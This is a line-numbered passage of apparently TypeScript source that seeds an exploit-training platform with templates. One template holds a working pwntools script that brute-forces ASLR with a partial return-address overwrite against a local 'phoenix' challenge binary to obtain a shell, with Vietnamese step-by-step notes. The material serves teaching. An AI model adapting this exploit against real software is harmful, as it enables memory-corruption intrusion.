()
| 74 | } |
| 75 | |
| 76 | private initializeDefaultData() { |
| 77 | // Initialize default templates |
| 78 | const defaultTemplates: InsertTemplate[] = [ |
| 79 | { |
| 80 | name: "The Phoenix - Partial Overwrite", |
| 81 | description: "ASLR bruteforce using partial address overwrite technique", |
| 82 | descriptionVi: "Bruteforce ASLR sử dụng kỹ thuật ghi đè địa chỉ một phần", |
| 83 | difficulty: 5, |
| 84 | category: "Buffer Overflow", |
| 85 | code: `#!/usr/bin/env python3 |
| 86 | from pwn import * |
| 87 | |
| 88 | context.arch = 'amd64' |
| 89 | context.log_level = 'info' |
| 90 | |
| 91 | OFFSET = 264 |
| 92 | MAX_ATTEMPTS = 10000 |
| 93 | |
| 94 | def partial_overwrite_attempt(lower_bits): |
| 95 | p = process('./phoenix') |
| 96 | |
| 97 | payload = b"A" * OFFSET |
| 98 | payload += p16(lower_bits) |
| 99 | |
| 100 | p.sendline(payload) |
| 101 | |
| 102 | try: |
| 103 | result = p.recvline(timeout=0.5) |
| 104 | if b"flag" in result or b"#" in result: |
| 105 | log.success(f"Success with bits: 0x{lower_bits:04x}") |
| 106 | p.interactive() |
| 107 | return True |
| 108 | except: |
| 109 | pass |
| 110 | finally: |
| 111 | p.close() |
| 112 | |
| 113 | return False |
| 114 | |
| 115 | for attempt in range(MAX_ATTEMPTS): |
| 116 | lower_bits = random.randint(0, 0xFFFF) |
| 117 | if partial_overwrite_attempt(lower_bits): |
| 118 | break |
| 119 | |
| 120 | if attempt % 100 == 0: |
| 121 | log.info(f"Attempt {attempt}/{MAX_ATTEMPTS}")`, |
| 122 | documentation: "Partial overwrite exploit for The Phoenix challenge", |
| 123 | documentationVi: `# Giải Thích Chi Tiết |
| 124 | |
| 125 | ## Cơ Chế Hoạt Động |
| 126 | Exploit này tận dụng đặc điểm của ASLR - chỉ randomize các byte cao, trong khi byte thấp thường cố định hoặc có entropy thấp. |
| 127 | |
| 128 | ## Các Bước Thực Hiện |
| 129 | 1. Xác định offset chính xác của buffer overflow (264 bytes) |
| 130 | 2. Tạo payload với padding + partial address |
| 131 | 3. Thử nhiều giá trị cho 12-16 bit thấp |
| 132 | 4. Phát hiện success qua output hoặc shell |
| 133 |
no test coverage detected